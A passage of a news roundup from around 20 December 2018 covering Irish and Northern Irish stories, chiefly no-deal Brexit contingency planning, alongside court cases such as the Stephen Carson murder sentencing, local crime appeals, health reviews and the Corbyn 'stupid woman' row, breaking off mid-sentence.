Meanwhile, the European Commission has triggered an action plan to protect EU citizens and businesses from "major disruption" if the UK crashes out without a deal on March 29. The plan covers 14 areas most likely to be affected, ranging from financial services to aviation, customs and carbon emissions trading, and are designed to "protect the vital interests of the EU". Sinn Fein MLA Conor Murphy accused Westminster and the DUP of ignoring the concerns of business. He spoke after business leaders in the UK warned of the dangers of a no-deal Brexit and firms were advised to develop no-deal contingency plans. "All of that gives a glimpse of the catastrophe that the DUP and the British parliament is prepared to foist upon the people of the North. It is time they stepped back from the Brexit brink. "We cannot afford to crash out of the EU with no terms of departure," he insisted. A judge has ruled that Ivor Bell is unfit to stand criminal trial (Niall Carson/PA) A man charged over the murder of Jean McConville from Belfast more than 40 years ago is unfit to stand criminal trial, a judge ruled. Criminal proceedings against Ivor Bell were halted on Wednesday using mental health legislation. Instead a non-criminal mechanism, commonly known as a trial of the facts, will take place. Bell has been charged with encouraging murder and endeavouring to persuade people to murder. Both counts relate to the death of Mrs McConville in December 1972. The evidence upon which the counts are founded was based on audio interviews said to have been conducted in Northern Ireland by researcher Anthony McIntyre and recorded as part of the Boston Tapes oral history archive. Expand Close Both counts against Mr Bell related to the death of Jean McConville in December 1972 (PA) Press Association Images / Facebook Twitter Email Whatsapp Both counts against Mr Bell related to the death of Jean McConville in December 1972 (PA) Part of the audio material obtained by the PSNI includes interviews between Anthony McIntyre and Z. The prosecution case is that Z is Mr Bell. A statement on behalf of the judge said: Mr Justice Colton, sitting on Wednesday in Belfast Crown Court, found Ivor Bell unfit to be tried in accordance with Article 49(4)1 of the Mental Health (Northern Ireland) Order 1989. The judge refused an application to stay the proceedings for abuse of process. He ordered the criminal trial shall not proceed further but that it shall be determined by a jury on such evidence as may be adduced by the prosecution, or adduced by a person appointed by the court under Article 49 to put the case for the defence whether it is satisfied as respects the counts on which the accused was to be tried that he did the act or made the admission charged against him. The IRA kidnapped Mrs McConville, a mother-of-ten, from her home in the Divis flats in west Belfast in 1972. She was shot and buried and became known as one of the Disappeared. Mrs McConvilles body was found on a beach in Co Louth in the Republic in 2003. A jewellery box was stolen during a burglary in north Belfast on Wednesday afternoon. The incident took place in the Cooldarragh Park area between 12pm and 3pm. Police received a report on Thursday morning that a jewellery box containing a gold-coloured watch and bracelet was reported stolen. "I want to appeal to anyone who was in area between 12pm and 3pm yesterday and saw any suspicious activity, or anyone who has been offered similar jewellery for sale in suspicious circumstances to get in touch with detectives at Musgrave on the non emergency number 101, quoting reference number 235 20/12/18," Sergeant Moffett said. "Alternatively, information can also be provide to the independent charity Crimestoppers on 0800 555 111 which is 100% anonymous and gives people the power to speak up and stop crime." The Irish Government is stepping up its no-deal Brexit preparations as Prime Minister Theresa May struggles to gain approval in parliament for her Brexit withdrawal deal. Plans unveiled on Wednesday revealed that the Irish Government is preparing for a hard border with Northern Ireland for food and livestock. Read More The government has also warned that there is a threat medicines could be in short supply, with food and clothing prices rising due to extra taxes. The European Commission has indicated there will have to be checks on foods such as meat and milk between the Republic and Northern Ireland from March 29. Irish Government plan warns of an "exceptional economic event which would be met with exceptional measures". Tanaiste Simon Coveney admitted there is currently no proposal for how a hard border will be avoided in a no-deal scenario, saying one would be "much, much more complicated" than the backstop. Asked if the European Commission would give Ireland leeway on the border if the UK leaves without a deal, he replied: "We don't know." The plan includes recruiting extra Garda officers and buying additional land at ports and airports to deal with a "significant increase" in checks if the UK leaves with no deal. Meanwhile, Leader of the House of Commons Andrea Leadsom has downplayed fears surrounding a no-deal Brexit. "A managed no-deal does not necessarily mean there is no Withdrawal Agreement at all," she said. "This is all speculation, but what I am looking at is trying to find an alternative that, in the event we cannot agree to this deal, that there could be a further deal that looks at a more minimalist approach that allows us to leave with some kind of deal and some kind of implementation period that avoids a cliff edge, that avoids uncertainty for businesses and travellers and so on." Q&A: What are the key issues in the event of a no-deal Brexit that Dublin officials are considering Can UK nationals continue to live and work in the EU in the case of a no-deal exit? The European Commission has called upon member states to take measures so that all UK nationals residing in a member state will continue to be considered as legal residents without interruption. Preparations are also under way to issue temporary permits that would allow them to continue to work. What will be the legal situation of EU citizens residing in the UK? The EU expects the reassurances given by the UK authorities - that, even in case of no deal, the rights of EU citizens in the UK will be protected - to be formalised soon so that it can be relied upon by citizens. Will live animals and animal products be checked at the borders when entering the European Union from the United Kingdom? In the case of no deal, every consignment of live animals and animal products coming from the UK would have to undergo checks in border inspection posts (BIPs) at the point of entry into the EU. Are these checks also necessary if these products come from another member state, but transit through the United Kingdom? Simplified border controls (limited to documentary checks, for instance) will apply to live animals and animal products coming from a member state, but transiting through the UK. Will flights between the EU and UK continue as normal? In the case of no deal, the Commission is proposing that "point-to-point" flight connections, ie. connections from the territory of the United Kingdom to the territory of the EU27, will be temporarily allowed on the basis of a unilateral measure. This measure will enter into force for 12 months if the UK reciprocates. Otherwise there will be a full interruption of traffic between the EU and the UK. Will trucks be able to continue carrying goods between the UK and Ireland? The Commission is proposing that operators from the UK are temporarily allowed to carry goods into the EU, provided the UK confers equivalent rights to EU road haulage operators and subject to conditions ensuring fair competition. This measure would enter into force in the case of a no-deal scenario, and cease to have effect on December 31, 2019. Will banks and insurers with headquarters in the UK be able to continue to provide services in the EU in case of no deal? Entities headquartered in the UK providing banking services will no longer be allowed to provide services in the EU on the basis of their current authorisations, in the case of no deal. Head of Northern Irelands Civil Service David Sterling is seeking volunteers for co-ordination structures which may operate in response to potential disruption arising from the exit (Niall Carson/PA) The Northern Ireland Civil Service is ramping up its planning for a round-the-clock response to a no-deal Brexit. Head of the Civil Service David Sterling is seeking volunteers for co-ordination structures which may operate in response to potential disruption arising from the exit. They will work in departmental operations centres and a central Northern Ireland hub which may need to be continually staffed. The hub will co-ordinate Northern Irelands response and will be operated jointly between Stormonts Executive Office and the Governments Northern Ireland Office. Mr Sterling wrote to 23,000 civil servants this week seeking expressions of interest. He said: We have been developing plans to ensure that we have the structures and capacity in place to address any difficulties which may emerge when the UK leaves the EU on 29 March 2019. The process includes designing measures for a no-deal Brexit. This would involve comprehensive plans for contingency arrangements to deal with the worst case scenario, where there is sustained and widespread disruption. Such plans would require us to establish new temporary structures which we may need to operate on a 24/7 basis. We must be ready to respond quickly and decisively, whatever the future outcome may beDavid Sterling He said he did not think a no-deal exit was the most likely outcome or that it would be necessary to ever operate the arrangements. This is simply the next step in readying our plans for exit day. The fact is, it is not possible to predict what will happen now, and the possibility of some disruption remains, even in the event of an exit governed by the terms of the Withdrawal Agreement. We must be ready to respond quickly and decisively, whatever the future outcome may be. To do this, we must have effective, well-resourced structures ready to move into operation quickly should the need arise. The Department of Health (DoH) has announced a regional review of neurology services after accepting that waiting lists had become "unacceptably long". The announcement follows the biggest patient recall ever in Northern Ireland earlier this year when more than 3,000 patients of Belfast-based consultant neurologist Dr Michael Watt were recalled. The recall was ordered after a Royal College of Physicians report raised concerns about Dr Watt. Dr Watt is currently suspended by the Belfast Trust. The review will be led by a team headed by consultant neurologist Dr John Craig and will identify the service configuration for the next 10-15 years. It will identify how services can be remodelled to improve care and include consideration of innovative service improvements. The review will also consider how governance can be strengthened, building on learning from the recall of patients in the Belfast Trust and the Regulation and Quality Improvement Authority's Review of Governance of Outpatient Services. Permanent Secretary of the DoH Richard Pengelly admitted that neurology services had been under "significant pressure" for some time. "Waiting lists have become unacceptably long. This review will drive improvements both through the identification of initiatives which can be taken forward quickly, as well as the identification of longer-term strategic reforms," he said. "The department is committed to ensuring that the voice of service users and carers is central to the review. To that end, we will be working closely with the Northern Ireland Neurological Charities Alliance to design and deliver a programme of engagement to achieve this." Dr Craig said the review would be an opportunity to transform services for patients. "I am pleased to be leading the review and look forward to working not just with colleagues from across the whole service, but I am especially keen to work with those who use our services and so to ensure their voices are heard and are central to the future of neurology services in Northern Ireland," he said. The interim report is expected to be completed by March 2019 with a final report due by June 2019. Police failed to properly investigate a crash which left a cyclist in hospital for five days, the Police Ombudsman found. The man was hit by a car in Glengormley, Co Antrim, on his way to work on September 11. He said police failings were down to him being a foreign national, however, the police watchdog did not find evidence to substantiate the allegation. He said that, despite suffering serious injuries, he was not interviewed by police and was not told the outcome of their investigation. The cyclist also disputed the account a witness of the accident gave to the police and complained that police failed to identify additional witnesses at the scene. On being formally interviewed by Police Ombudsman investigators, the police investigating officer said he had spoken to the injured cyclist when he was in the back of the ambulance and had breathalysed the driver, who tested negative for alcohol. The officer said he had checked for CCTV in the area by looking around nearby buildings but could not see any cameras and confirmed that he did not speak to the witness at the time of the incident. He also did not make an entry in his notebook regarding his attendance at the scene and admitted that he had not made any enquiries in the three weeks following the accident. Police documentation showed that the officer was due to speak to the witness on October 5 but this statement was not recorded. When questioned by investigators as to why, he said that it was "probably" due to other work commitments which meant he could not get out to meet the witness. The statement was eventually taken four months after the accident. The officer also said that he did not think it was necessary to speak to the injured man and denied treating the case differently because of the mans nationality. Police Ombudsman staff, however, found that the police officer should have spoken to the injured cyclist and obtained his account of events, as he had disputed the witness account. The officer should also have updated the man on the investigation and advised him of the final outcome. His failure to accurately record the investigative queries he claimed to have carried out was also deemed a disciplinary matter by Police Ombudsman staff, who made disciplinary recommendations to the PSNI which have been acted on. The Police Ombudsman's office said there was no evidence to support the mans claim that the investigation was influenced by his nationality. Shanghai(Gasgoo)- Audi-owned mobility brand "Audi on demand +" has reportedly launched a tailored taxi service in Xian, the capital of Shaanxi Province as part of an effort to further expand mobility businesses in China following Beijing and Sanya. FAW-Volkswagen Audi teams up with Shouqi Limousine & Chauffeur, a leading brand in China's car hailing service industry, to provide users with luxury convenient travelling experience by jointly launching tailored premium car service. The Audi A6L e-tron, a plug-in hybrid model that is specifically designed for Chinese market, will be deployed first for the fresh car-hailing service as Audi advocates a more efficient and environmentally friendly low-carbon lifestyle. The company wishes to extend such travelling mode into more cities in the world's largest auto market to satisfy Chinese consumers' ever-growing needs for a premium mobility solution. In the meantime, the operator has already opened an official WeChat account for the "Audi on demand +" and will have a WeChat mini program on line in the near future to facilitate users with car-hailing. SAIC Motor formally launched its mobility brand known as "Xiangdao Chuxing" on December 18, saying it put the ride-hailing service into official operation from then on. Dongfeng Electric Vehicle Co.,Ltd has been granted a license in early December to operate ride-hailing service business by Wuhan Passenger Transport Taxi Management Office. In addition, On December 14, BMW Group announced the launch of its ride-hailing service in Chengdu, the capital of China's Sichuan Province, as part of the businesses under the premium mobility brand ReachNow, making it become China's first global carmaker that operates a ride-hailing service. Bullet holes have been left in the windows and door of a property in west Belfast after a shooting incident. It happened in the Dermott Hill Parade area near to Springfield. Police received a report shortly before 9am on Thursday that bullet holes had appeared on the dwelling. After arriving at the scene police determined the damage had come as a result of shots fired. A PSNI spokesman said: "Whilst there was no-one in the property at the time of this incident, whoever carried out this attack showed a total disregard for other residents in this built up residential area. "Police would appeal to anyone who has any information, no matter how insignificant you may think it is, to contact detectives at Musgrave on the non-emergency number 101, quoting reference 306 20/12/18." Alternatively information can be given anonymously to independent charity Crimestoppers on 0800 555 111. There is a plausible argument for the public to be asked to vote again on Brexit if MPs remain deadlocked, a Cabinet minister has said. Amber Rudd acknowledged her comments would distress some of her Tory colleagues and stressed she was fully committed to Theresa Mays Brexit deal. The Work and Pensions Secretary insisted she did not want a referendum and called for MPs across the Commons to reach a consensus as a way of preventing a no-deal Brexit if Mrs Mays Withdrawal Agreement is thrown out in Januarys parliamentary showdown. But her intervention was welcomed as a massive moment by campaigners calling for a so-called Peoples Vote, with Tory former minister Anna Soubry praising Ms Rudd as brave and principled. Ms Rudd backed the idea of an indicative vote to find which Brexit options MPs would be prepared to support if the Prime Ministers deal is rejected. The Work and Pensions Secretary told ITVs Peston: I dont want a peoples vote, or a referendum in general, but if Parliament absolutely failed to reach a consensus I could see there would be a plausible argument for it. She added: Parliament has to reach a majority on how its going to leave the European Union. If it fails to do so, then I can see the argument for taking it back to the people again, much as it would distress many of my colleagues. Ms Rudd said an indicative vote would flush out MPs by forcing them to show their support for one option or another, and encourage those whose favoured ideas are rejected to reach a compromise. We are going to have to find a way, as MPs, of working together to find a consensus, of agreeing on how to stop no-deal taking place, she said. Her comments were seized on by pro-EU campaigners. Labours Owen Smith, a backer of anti-Brexit group Best for Britain, said: Amber Rudd may be the first Tory Cabinet member to say shed rather have a peoples vote than allow a catastrophic no-deal to unfold, but she wont be the last. This is a massive moment for our campaign. Meanwhile Ireland followed the UK and the European Union in setting out the latest stages of its no-deal Brexit planning. In many significant ways, a no-deal Brexit would pose unique, unprecedented and extremely difficult challenges for the EU, including Ireland, and especially the UK, the Irish Government document said. As part of the plan, Dublin Port is creating extra parking for hundreds of trucks from the UK awaiting inspection after Brexit. In London, Mrs May will meet her Polish counterpart Mateusz Morawiecki for talks. The discussions are expected to focus on defence and security co-operation, but come as the Prime Minister is desperately trying to secure further reassurances from EU leaders about the Northern Ireland backstop measures in the Brexit deal before the crunch Commons vote in the week commencing January 14. Scotlands First Minister Nicola Sturgeon, who met the Prime Minister on Wednesday, said Mrs Mays goals were a wee bit nebulous. Theres not a lot of detail there, Ms Sturgeon said. She says shes working with the EU, trying to find assurances. I pressed her to give a bit more detail on that. I have to say it wasnt forthcoming. Stephen Carson was shot in the head after a gang of armed men broke in while he was eating dinner with his partner and nine-year-old son (PSNI/PA) Two cousins have been jailed for murdering a man in Belfast. Stephen Carson, 28, was eating a meal at his home in south Belfast with his fiancee and nine-year-old son when he was killed in February 2016. Michael Smith, 40, and David Smith, 35, both from west Belfast, were found guilty of the murder in November. They were each sentenced on Thursday to 20 years in prison. A third cousin, Francis Smith, 42, also from west Belfast, was found guilty of possessing a shotgun and ammunition in suspicious circumstances, and assisting Michael and David by allowing them to store the murder weapon in his property. He was sentenced to seven years and six months, of which half is to be served in prison and half on licence. Stephens son and fiancee have been left extremely traumatised by the incident and their lives will never be the same againDetective Chief Inspector Pete McKenna Detective Chief Inspector Pete McKenna described the murder as callous and brutal. Stephen Carson was at home enjoying a meal with his fiancee and nine-year-old son when three men burst in carrying a hammer and a shotgun, he said. These thugs confronted the young child and Stephens fiancee, who they sprayed with a pepper-type spray. Stephen was in the kitchen and ran to the bathroom to phone the police. At this point one of these males, who I believe to be Michael Smith, fired a fatal shot through the door, hitting Stephen in the head. This was a premeditated murder with the perpetrators leaving no forensic evidence yet these men were still put before the courts as a result of the complex, multi-faceted police investigation carried out by detectives. I would also like to pay tribute to Stephens family for their dignity, courage and unwavering commitment to seeing justice done for their loved one. He added: Stephens son and fiancee have been left extremely traumatised by the incident and their lives will never be the same again. Whilst no sentence can ever take away the pain for Stephens family, I hope they get some comfort from knowing that his killers are behind bars. The community is now a safer place with these men removed from our streets. Two cousins from west Belfast who murdered father-of-two Stephen Carson in a "cold-blooded" execution were told on Thursday they will spend the next 20 years in jail before they are considered eligible for release. Michael 'Spud' Smith (40) and David 'Dee Dee' Smith (35) - both with addresses in Monagh Drive - shook hands in the dock of Belfast Crown Court after Judge Geoffrey Miller QC handed each of them a minimum 20-year sentence. The pair were last month convicted by a jury of murdering Mr Carson, who died after he was shot in the head in the downstairs bathroom of his Walmer Street home on the evening of February 25th, 2016. Also present when he was murdered were his fiancee Naomi Smyth and nine-year old son. During today's sentence it emerged that Mr Carson's son - who is now 11 - has been diagnosed with Post Traumatic Stress Disorder. During the incident, the then nine year old was threatened at gunpoint and was pepper-strayed. Judge Miller described Mr Smith's murder as "an execution with chilling and clinical efficiency", and said: "I am in no doubt it has characteristics akin to a gangland execution." It was the Crown's case that while Michael Smith was the gunman who fired a single shot from a sawn-off shotgun through a bathroom door which killed Mr Carson, David Smith stayed in the living room where he "subdued" Mr Carson's son and fiancee. The Judge said: "This was a cold-blooded, pre-planned murder, set in the context of a long-running vendetta against the deceased and his family." Judge Miller said they travelled from west Belfast to the Ormeau Road area "with one thought and intention in mind - namely to kill Mr Carson." The court heard Michael Smith - who was also found guilty of possessing a sawn-off shotgun with intent to commit murder - had 168 previous convictions, compared to David Smith's 28. Also jailed was today for this role in the aftermath of the murder was a third cousin - Francis Smith - who was handed seven-and-a-half year sentence for four offences. Despite his denials, the 42-year old, from Glenmurray Court in Belfast, was sentenced for charges including assisting offenders, and for allowing the murder weapon and ammunition to be stored in his flat. During the trial, it was the Crown's case that the motive for Mr Carson's murder dated back to a violent incident in Turf Lodge in 2010, when Michael Smith sustained a significant wound to his arm. Involved in this altercation were Mr Carson, Kieran McManus and a third man. Mr McManus (26) was shot dead outside a Domino's Pizza in west Belfast in March 2013, while Mr Carson was shot in his home in the Ormeau area of Belfast in three years later. The trial also heard that in the days prior to being murdered, Mr Carson had expressed concerns after he saw David Smith in the Ormeau area of Belfast. The jury also heard harrowing evidence from Mr Carson's fiancee, son and mother, as well as listening to a 999 call made by Mr Carson to police. Hiding in the downstairs bathroom, Mr Carson could be heard begging the police to send officers to his home before he was shot through the door. Prior to passing his sentence, Judge Miller heard Crown barrister Neil Connor QC refer to the killing as "assassination carried out with a clear intention to kill". Mr Connor said that on the night in question, three men "forced their way" into Mr Carson's home and murdered him in the presence of his partner and son, whilst he was on the phone "summoning help from the police." Regarding Francis Smith, Mr Connor said he was guilty of assisting his co-accused in the aftermath of the murder by not only providing them with shelter, but also looking after the murder weapon and ammunition. Defence barrister Tim Moloney QC, representing David Smith, told the court he didn't agree with the Crown's acsertion of an assassination. Instead, he branded the killing as "not a particularly professional exercise" which was set in a gangland context. Mr Moloney said his client "has suffered very badly with drug addiction throughout his adult life" and has "enduring psychological problems" which led to a chaotic lifestyle. Michael Smith's barrister Frank O'Donoghue QC said this client did not engage with probation ahead of today's sentencing as he is appealing his conviction. He also disagreed that the murder was an assassination or contract killing, saying that cased on the Crown case "this was anything but professional ... it was wholly amateurish." Eilis McDermott QC, representing Francis Smith, spoke of her client's former alcohol intake of up to 100 units a week, but said "clearly and happily, that is no longer the case." The defence barrister also said that as her client was facing a significant period in prison, he has plans to "improve his situation" and intents to undertake an Open University degree. After Judge Miller passed his sentence, Michael and David shook hands. They they turned to the public gallery, waved and gave the thumbs up, to which someone shouted "upwwards and onwards." Both men will have to serve a minimum of 20 years before they are considered eligible for release by the Paroles Commission, while Francis Smith will serve half his sentence in prison, with the remaining 45 months on licence when he is released. An estimated 597 homeless people died in England and Wales in 2018, with the numbers rising by 24% over the past five years. The figures from the Office for National Statistics come as temperatures plunge across the country so what do you do when you see someone sleeping rough on the streets? The initial answer is the same wherever you are. Specialists and volunteers say having a chat with a rough sleeper, if you feel comfortable doing so, can go a long way. Without being intrusive, it is advised that you might want to ask their name, who they are and what their situation is. What is somewhat harder is working out what to do next and this depends on the situation. Here are a few things to consider. Does the person need emergency help? 1. If the person in question is likely to be under 18 or is sleeping rough with a child in their care, this is a matter to refer to the police and social services immediately as local authorities have a legal obligation to provide shelter to children. 2. If the person is in need of urgent medical attention, for example if they have an open wound or appear to be seriously ill, calling 999 for an ambulance will get them professional help quickly. 3. Another immediate concern, especially in cold conditions, is where the person is set to spend the next few hours. Day shelters offering food and clothing and usually during the winter months night shelters that offer safe, warm sleeping areas, are in operation in many areas, so Google those running in your area or search via homeless.org.uk. Expand Close (PA Graphics) Press Association Images / Facebook Twitter Email Whatsapp (PA Graphics) Will they be outside in sub-zero temperatures? During the extremely cold weather specifically, when temperatures fall to zero degrees or lower for three days special measures come into action with the Severe Weather Emergency Protocol (SWEP). When this comes into force, the local authority and other organisations in the area will work to offer extra temporary accommodation where possible. Your local authoritys housing options number usually easy to find online can give you more information on whether SWEP is in place and what local shelter options are available. How do I alert the local authority? Assuming none of the above applies, and no immediate shelter is available, you can still help a rough sleeper get on the path to engaging with services usually through their local authority. It is important, if you have been able to speak to them, that you get their consent to do this. One option available for members of the public in England and Wales is StreetLink a service that centralises reporting of rough sleepers. A call or online referral to StreetLink will, where appropriate, be passed to the relevant local services usually local authority outreach teams who operate at night. Each councils team has a different timetable dependent on demand, but they typically aim to reach a rough sleeper in one to three nights and offer support. Sending an alert about a rough sleeper when SWEP provision is in place will ensure local services are aware of the individual and can refer them to this emergency accommodation. Due to the high volume of calls, StreetLink advises that the best method to refer rough sleepers is via the website or app. What if I live outside England and Wales? There is no equivalent centralised service for referring rough sleepers in Scotland or Northern Ireland. In Scotland, Shelter Scotland can offer help and advice, while people in Northern Ireland are advised to refer rough sleepers to the Northern Ireland Housing Executive as a first port of call. What information do I need to give? Local outreach teams will welcome as much of the following information as possible in order to locate a rough sleeper: Night-time sleep location: This is absolutely key in many cases, as this is when most outreach teams operate. If you have this information, be as precise as possible. A physical description: For obvious reasons, this can go a long way to helping outreach workers find someone who is rough sleeping. Any particular concerns: Health issues (whether the rough sleeper has medication that requires refrigeration, for example), or other concerns workers should be aware of if and when they meet the rough sleeper. Expand Close (PA Graphics) Press Association Images / Facebook Twitter Email Whatsapp (PA Graphics) Should I give my own money? Many have different views and feelings about giving money to people they meet on the street, and there isnt any right answer to this issue. Some feel more comfortable donating to housing or homelessness charities of which there are a number to help tackle the issue. However, if you are unable to help in any other way, theres certainly no harm in offering someone a warm drink, some food or a blanket or even just someone to talk to for a while. Contingency plans for a no-deal Brexit make for "sobering" and "stark" reading, the Tanaiste has said as the government has revealed more detail about the contingency planning in place for a no-deal Brexit. Tanaiste Simon Coveney said the document - which is the first substantial outline of plans for a crash out Brexit - makes for stark and sobering reading. The report - which is being circulated to all TDs says that a no deal Brexit would require an immediate focus on crisis management and possible temporary solutions. Here are the key takeaways from the document: Expansion at ports and airports Additional land is needed at Dublin and Rosslare Port and at airports to deal with the significant increase in checks the will be needed if the UK leave with no deal At Dublin Port some of the extra facilities needed include 33 inspection bays for trucks coming off ships and 270 parking spaces to ensure trucks awaiting inspection to avoid tailbacks. There will also be a need for a dedicated Border Control Post for live animals, as well as new office space. Similar facilities on a smaller scale will be needed in Rosslare. In Dublin Airport there is need for new inspection rooms and a border control post for animals also. Work is underway to identify temporary sites for these facilities in the event of a no deal scenario. Emergency legislation Some 45 pieces of emergency legislation will need to be enacted ahead of March 29 to prepare for a no deal scenario. Some of this will be primary legislation, which will see all other work in the Dail grind to a halt. Primary legislation will be needed in areas including healthcare, health insurance, the single electricity market, broadcasting and housing provision. Medicines and food supply Further work is being done on the possible need for emergency measures that may be needed in relation to medicines and food supply. Legislation and ongoing consultation is being done in the area of medicine supply and cross border medical services. The planning document notes that it is Irelands priority that Irish patients should not be at a disadvantage or deprived of medicines as a result of Brexit. The Tanaiste said Ireland is not facing food shortages in the event of a no deal and said work is underway to ensure the continued supply of medicines. At the moment stockpiling of medicines is already done to ensure supply he noted. Trade routes The landbridge is expected to be hit with severe delays in the aftermath of a no deal, with Dover-Calais being noted as a potential bottleneck. This will affect goods moving between Ireland the rest of the single market. The Department of Transport is working with companies to identify alternative options. The border question In relation to avoiding border infrastructure between Ireland and Northern Ireland the document says the governments focus is on prevent the emergence of a border. It does not outline plans on how a border will be avoided in the event of a no deal. Pressed on the absence of a contingency plan to avoid infrastructure the Tanaiste said there are a number of areas that don't have a contingency plan. There are no "easy answers" to avoiding infrastructure he said. However, he underlined the government's commitment to ensuring no border re-emerges on the island of Ireland. Additional customs staff The Government has already said it is accelerating the recruitment of revenue and other officials who will be needed in the event of post-Brexit. Justice Measures are being prepared to ensure that there is a viable extradition process with the UK and that the exchange of information in relation to law enforcement is continued. Mr Coveney said the plan was an evolving document but the real hope was that the House of Commons will come to realise that Prime Minister Theresa Mays deal is the best way forward. He said that people who are playing down the impact of a no deal Brexit or describing it as another millennium bug really dont know what they are talking about. Referring to the plan, he said it should make everybody realise why we dont want a no deal Brexit. This is why we spent two years putting together a detailed plan that allows for a managed Brexit, Mr Coveney said. We need to get back to that deal politically. He said Ireland will face multiple challenges as a country and an economy. There is no such thing as a contingency plan that will maintain the status quo as we have today. This is a damage limitation exercise. In a no deal scenario, the UK will become a third country, meaning it will no longer be represented on the EUs institutions or subject to the Union's rules or laws. Irelands contingency plan states: A do deal Brexit would require an immediate focus on crisis management and possible temporary solutions (political, economic, administrative, legislative and communication), which would be rapidly implemented until the necessary longer-term adjustments are in place. For Ireland, a no deal Brexit would potentially involve severe macroeconomic, trade and sectoral impacts. Grappling with the enormous range of impacts both in the immediate short term and in the longer term will involve difficult and significant choice of a practical, strategic and political nature. Cabinet will convene on January 3 to discuss further contingency planning. The chief whip is examining the legislative to determine what needs to be done to ensure legislation can be passed in time. A tribunal to deal with claims arising from the CervicalCheck controversy is to be established, Simon Harris said (Niall Carson/PA) A tribunal to deal with claims arising from the CervicalCheck controversy is to be established, the Government said. Irelands cervical smear services have been in the spotlight since it emerged that at least 208 women diagnosed with cancer should have received earlier intervention. The Cabinet has approved the appointment of Justice Mary Irvine as chair of the tribunal, Health Minister Simon Harris said. It will be established next year. The tribunal will allow women to progress their cases in a timely and sensitive, less adversarial manner, while equally respecting the constitutional entitlement of all parties to a fair hearingSimon Harris The minister said he was examining the early establishment of a scheme to provide ex-gratia payments for women affected by the non-disclosure of the audit. He said: The tribunal will allow women to progress their cases in a timely and sensitive, less adversarial manner, while equally respecting the constitutional entitlement of all parties to a fair hearing. The voluntary body will be established based on the recommendations set out by Mr Justice Charles Meenan in his recent report on an alternative system for dealing with cases arising from CervicalCheck. Hearings will be held in private and will be less adversarial than the current court process due to the adoption of pre-hearing protocols and case management procedures, the Government said. Mr Harris added: This will take time to establish but all arms of government are working to progress as a matter of urgency. I will also consider the establishment of an ex-gratia compensatory scheme to deal with any accepted non-disclosure to the 221 women and their families, and I hope to progress this in the new year. Earlier this year, Emma Mhic Mhathuna died after being given a terminal diagnosis. Mrs Mhic Mhathuna said she had been given a clear smear test in 2013 but was diagnosed with cervical cancer in 2016. Two men have been arrested after a Garda operation seized almost 100,000 euro worth of drugs. A joint operation took place on Wednesday evening involving Garda Units based in the Clare and Limerick Divisions resulting in the seizure of the large amount of cocaine and cannabis. A car was stopped at on the M18 at Junction 11 near Dromoland shortly after 7pm, the subsequent search resulted in the seizure of cocaine with a value of 56,000 euro. Gardai seize cocaine & cannabis resin with an estimated street value of 97k during operations in Clare & Limerick yesterday evening. Two men are currently in Garda custody. The operation was led by Garda units from the Clare & Limerick Divisions. See - https://t.co/Kd167XX7cg pic.twitter.com/3NJEmzj0CT Garda Info (@gardainfo) December 20, 2018 A 41-year-old man was arrested and was detained at Ennis Garda Station. During a follow-up operation, a house in Castleconnell, Co Limerick was searched resulting in the discovery of cocaine with an estimated value of 17,500 euro along with 4kg of cannabis resin, valued at around 24,000 euro. A 36-year-old man was arrested during the search and was detained at Henry Street Garda Station. Gardai say the investigation is ongoing. US sanctions on an Irish industrial plant are due to be lifted, Irelands deputy premier Simon Coveney said (Brian Lawless/PA). US sanctions on an Irish industrial plant are due to be lifted, the Government in Dublin has said. Limerick-based Aughinish Aluminas parent company is Russian. It employs over 600 people and produces approximately a third of Europes alumina, a key input to aluminium production. The US Treasurys Office of Foreign Assets Control has announced its intention to terminate sanctions imposed on UC Rusal plc, the Russian parent company. A 30-day Congressional review period will follow. Todays announcement is therefore a very welcome return on the intensive efforts made to protect Aughinish Alumina and the many jobs that are sustained and supported by the firmSimon Coveney Irelands deputy premier, Tanaiste Simon Coveney, said: Todays announcement is therefore a very welcome return on the intensive efforts made to protect Aughinish Alumina and the many jobs that are sustained and supported by the firm. While we need to await the conclusion of the congressional review period, todays announcement should mean that Aughinish will soon no longer be impacted by the sanctions. Mr Coveney added: Since sanctions targeting the business interests of certain Russian individuals were announced in April, the Government has engaged extensively with the US administration to outline the risks these measures posed to Aughinish Alumina and to work towards a solution which safeguarded the companys future and the livelihoods of those employed there. Aughinish Alumina is an alumina processing company located on the banks of the River Shannon in Askeaton, Co Limerick. In April the US Treasury Department imposed sanctions on 26 specific Russian individuals and 15 Russian companies, including Rusal, its parent company EN+ and its major shareholder Oleg Deripaska. Because of the manner in which such measures are applied, other companies, including Aughinish Alumina, which were owned or controlled by those specified firms, also effectively became sanctioned as well. Labour leader Jeremy Corbyn makes a statement on his return to the House (House of Commons/PA) Jeremy Corbyn was forced to deny calling Theresa May a stupid woman as the final Prime Ministers Questions of the year sparked a heated row over misogyny. Television cameras picked up the Labour leader saying something to those sat with him after the Prime Minister likened his attempt to force a confidence vote in her to a Christmas pantomime. The video footage went viral on social media on Wednesday afternoon and sparked a furious debate in the Commons, with Tory MPs demanding Mr Corbyn be brought back to apologise. After being asked to come back and address MPs he flatly denied using the sexist phrase, telling MPs: I referred to those who I believe were seeking to turn a debate about the national crisis facing our country into a pantomime as stupid people. I did not use the words stupid woman about the Prime Minister or anyone else, and am completely opposed to the use of sexist or misogynist language in absolutely any form at all. Mrs May had suggested Mr Corbyn apologise if he had indeed used inappropriate language as the row overshadowed a heated PMQs that focused on the ongoing Brexit impasse. Speaking on a subsequent visit to Heathrow Airport, the Prime Minister said that with 2018 marking the centenary of women getting the vote she wanted to see more women encouraged to come into Parliament and not put off by the sort of remarks that they might feel have been said in Parliament. She added: The Speaker made very clear that if a Member of Parliament uses inappropriate language then they should apologise. Expand Close Jo Churchill MP urging Commons Speaker John Bercow to watch the video clip of Jeremy Corbyn (UK Parliament/Mark Duffy/PA) Press Association Images / Facebook Twitter Email Whatsapp Jo Churchill MP urging Commons Speaker John Bercow to watch the video clip of Jeremy Corbyn (UK Parliament/Mark Duffy/PA) The almost immediate circulation of footage of Mr Corbyn prompted uproar in the Commons, with shouting and heckling as a succession of MPs demanded action from Speaker John Bercow. But he triggered a furious response from a slew of female MPs, including Commons leader Andrea Leadsom after refusing to take immediate action because he had not seen the incident. Mr Corbyn had already left the Commons chamber by the time the points of order were raised and his spokesman later said he had not said anything that required an apology. Expand Close Theresa May speaking during Prime Ministers Questions (UK Parliament/Mark Duffy/PA) Press Association Images / Facebook Twitter Email Whatsapp Theresa May speaking during Prime Ministers Questions (UK Parliament/Mark Duffy/PA) The Speaker later returned and told MPs that while it was easy to see why Mr Corbyns words might have been construed as stupid woman, nobody can be 100% certain, that includes professional lipreaders. He added: I 